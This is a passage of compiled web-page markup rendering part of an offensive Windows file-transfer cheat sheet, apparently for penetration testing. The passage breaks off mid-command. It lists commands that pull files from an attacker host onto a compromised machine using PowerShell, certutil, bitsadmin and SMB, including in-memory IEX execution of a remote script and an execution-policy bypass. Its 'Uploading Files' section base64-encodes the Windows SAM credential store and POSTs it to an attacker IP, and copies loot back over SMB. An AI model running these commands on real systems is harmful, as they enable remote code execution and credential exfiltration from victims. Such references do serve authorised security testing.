http:`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:`//`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`ip`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`:`}),_jsx(_components.span,{style:{color:`#F78C6C`,\"--shiki-dark\":`#F78C6C`},children:`8080`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:`/`}),_jsx(_components.span,{style:{color:`#7FDBCAFF`,\"--shiki-dark\":`#7FDBCAFF`},children:`file.exe`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:` -`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`OutFile C:\\\\Windows\\\\Temp\\\\`}),_jsx(_components.span,{style:{color:`#7FDBCAFF`,\"--shiki-dark\":`#7FDBCAFF`},children:`file.exe`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# WebClient DownloadFile (compatible with older PowerShell versions)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`(`}),_jsx(_components.span,{style:{color:`#7FDBCAFF`,\"--shiki-dark\":`#7FDBCAFF`},children:`New-Object`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` Net.WebClient).DownloadFile(`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`'`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`http://\u003cip>:8080/file.exe`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`'`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`,`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:` '`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`C:\\\\Windows\\\\Temp\\\\file.exe`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`'`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`)`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Fileless execution: download and run a PS1 script entirely in memory (nothing written to disk)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`IEX (`}),_jsx(_components.span,{style:{color:`#7FDBCAFF`,\"--shiki-dark\":`#7FDBCAFF`},children:`New-Object`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` Net.WebClient).DownloadString(`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`'`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`http://\u003cip>:8080/payload.ps1`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`'`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`)`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Invoke-WebRequest with Chrome User-Agent (bypasses basic agent filtering on web servers)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#7FDBCAFF`,\"--shiki-dark\":`#7FDBCAFF`},children:`Invoke-WebRequest`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` http:`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:`//`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`ip`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:`/`}),_jsx(_components.span,{style:{color:`#7FDBCAFF`,\"--shiki-dark\":`#7FDBCAFF`},children:`nc.exe`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:\" `\"})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:` -`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`UserAgent [`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:`Microsoft.PowerShell.Commands.PSUserAgent`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`]::Chrome `}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:\"`\"})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:` -`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`OutFile C:\\\\Windows\\\\Temp\\\\`}),_jsx(_components.span,{style:{color:`#7FDBCAFF`,\"--shiki-dark\":`#7FDBCAFF`},children:`nc.exe`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Bypass execution policy for the current session before running scripts`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#7FDBCAFF`,\"--shiki-dark\":`#7FDBCAFF`},children:`Set-ExecutionPolicy`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` Bypass `}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:`-`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`Scope `}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#C792EA`,\"--shiki-dark-font-style\":`italic`},children:`Process`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:` -`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`Force`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# From cmd or a non-interactive shell`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`powershell `}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:`-`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`ep bypass `}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:`-`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`c `}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`\"`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`(New-Object Net.WebClient).DownloadFile('http://\u003cip>/file.exe','C:\\\\Temp\\\\file.exe')`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`\"`})]}),`\n`]})})}),`\n`,_jsx(CodeBlock,{filename:``,wrap:`true`,numberOfLines:`12`,language:`vb`,children:_jsx(_components.pre,{className:`shiki shiki-themes night-owl night-owl`,style:{backgroundColor:`#011627`,\"--shiki-dark-bg\":`#011627`,color:`#d6deeb`,\"--shiki-dark\":`#d6deeb`},language:`vb`,children:_jsxs(_components.code,{language:`vb`,numberOfLines:`12`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`:: `}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`certutil`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` (`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`LOLBin`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`,`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:` available`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` on all modern `}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`Windows`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`certutil.`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`exe`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` -`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`urlcache`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` -`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`split`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` -`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`f`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` http://`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`ip`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`:`}),_jsx(_components.span,{style:{color:`#F78C6C`,\"--shiki-dark\":`#F78C6C`},children:`8080`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`/file.exe C:\\\\`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`Windows`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`\\\\`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`Temp`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`\\\\file.exe`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`:: `}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`bitsadmin`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` (`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`runs`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` as`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:` a`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` background transfer `}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`job`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`bitsadmin`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` /`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`transfer`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:` job`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` /`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`download`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` /`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`priority`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` high http://`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`ip`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`:`}),_jsx(_components.span,{style:{color:`#F78C6C`,\"--shiki-dark\":`#F78C6C`},children:`8080`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`/file.exe C:\\\\`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`Windows`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`\\\\`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`Temp`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`\\\\file.exe`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`:: SMB copy from `}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`impacket`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`-`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`smbserver`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` (`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`attacker`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`: `}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`impacket`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`-`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`smbserver`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` share . `}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`-`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`smb2support`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`copy`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` \\\\\\\\`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`attacker_ip`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`\\\\`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`share`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`\\\\file.exe C:\\\\`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`Windows`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`\\\\`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`Temp`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`\\\\file.exe`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`:: SMB `}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#C792EA`,\"--shiki-dark-font-style\":`italic`},children:`with`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:` auth`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` (`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`attacker`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`: `}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`impacket`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`-`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`smbserver`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` share . `}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`-`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`smb2support`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` -`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`username`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:` user`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` -`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`password`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:` pass`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`net `}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`use`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` \\\\\\\\`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`attacker_ip`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`\\\\`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`share`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` /`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`user`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`:user pass`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`copy`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` \\\\\\\\`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`attacker_ip`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`\\\\`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`share`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`\\\\file.exe C:\\\\`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`Windows`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`\\\\`}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`Temp`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`\\\\file.exe`})]}),`\n`]})})}),`\n`,_jsx(Heading,{level:`2`,id:`windows-uploading-files`,children:`Windows: Uploading Files`}),`\n`,_jsx(_components.p,{children:`Methods to push files from a compromised Windows host back to the attacker for exfiltration.`}),`\n`,_jsx(CodeBlock,{filename:``,wrap:`true`,numberOfLines:`7`,language:`powershell`,children:_jsx(_components.pre,{className:`shiki shiki-themes night-owl night-owl`,style:{backgroundColor:`#011627`,\"--shiki-dark-bg\":`#011627`,color:`#d6deeb`,\"--shiki-dark\":`#d6deeb`},language:`powershell`,children:_jsxs(_components.code,{language:`powershell`,numberOfLines:`7`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Base64-encode a file and POST it (no special server needed, just a listener)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:`$bytes`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:` =`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` [`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:`IO.File`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`]::ReadAllBytes(`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`\"`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`C:\\\\Windows\\\\system32\\\\sam`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`\"`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:`$b64`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:` =`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` [`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:`Convert`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`]::ToBase64String(`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:`$bytes`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#7FDBCAFF`,\"--shiki-dark\":`#7FDBCAFF`},children:`Invoke-WebRequest`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:` -`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`Uri http:`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:`//`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`attacker_ip`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`:`}),_jsx(_components.span,{style:{color:`#F78C6C`,\"--shiki-dark\":`#F78C6C`},children:`8080`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:`/`}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:` -`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`Method POST `}),_jsx(_components.span,{style:{color:`#C792EA`,\"--shiki-dark\":`#C792EA`},children:`-`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`Body `}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:`$b64`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# SMB copy back to attacker share (impacket-smbserver on attacker)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`copy C:\\\\Windows\\\\Temp\\\\loot.txt \\\\\\\\`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`attacker_ip`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`\\\\share\\\\loot.txt`})]}),`\n`]})})}),`\n`,_jsx(CodeBlock,{filename:``,wrap:`true`,numberOfLines:`2`,language:`vb`,children:_jsx(_components.pre,{className:`shiki shiki-themes night-owl night-owl`,style:{backgroundColor:`#011627`,\"--shiki-dark-bg\":`#011627`,color:`#d6deeb`,\"--shiki-dark\":`#d6deeb`},language:`vb`,children:_jsxs(_components.code,{language:`vb`,numberOfLines:`2`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:`:: Netcat `}),_jsx(_components.span,{style:{color:`#C5E478`,\"--shiki-dark\":`#C5E478`},children:`push`}),_jsx(_components.span,{style:{color:`#D6DEEB`,\"--shiki-dark\":`#D6DEEB`},children:` 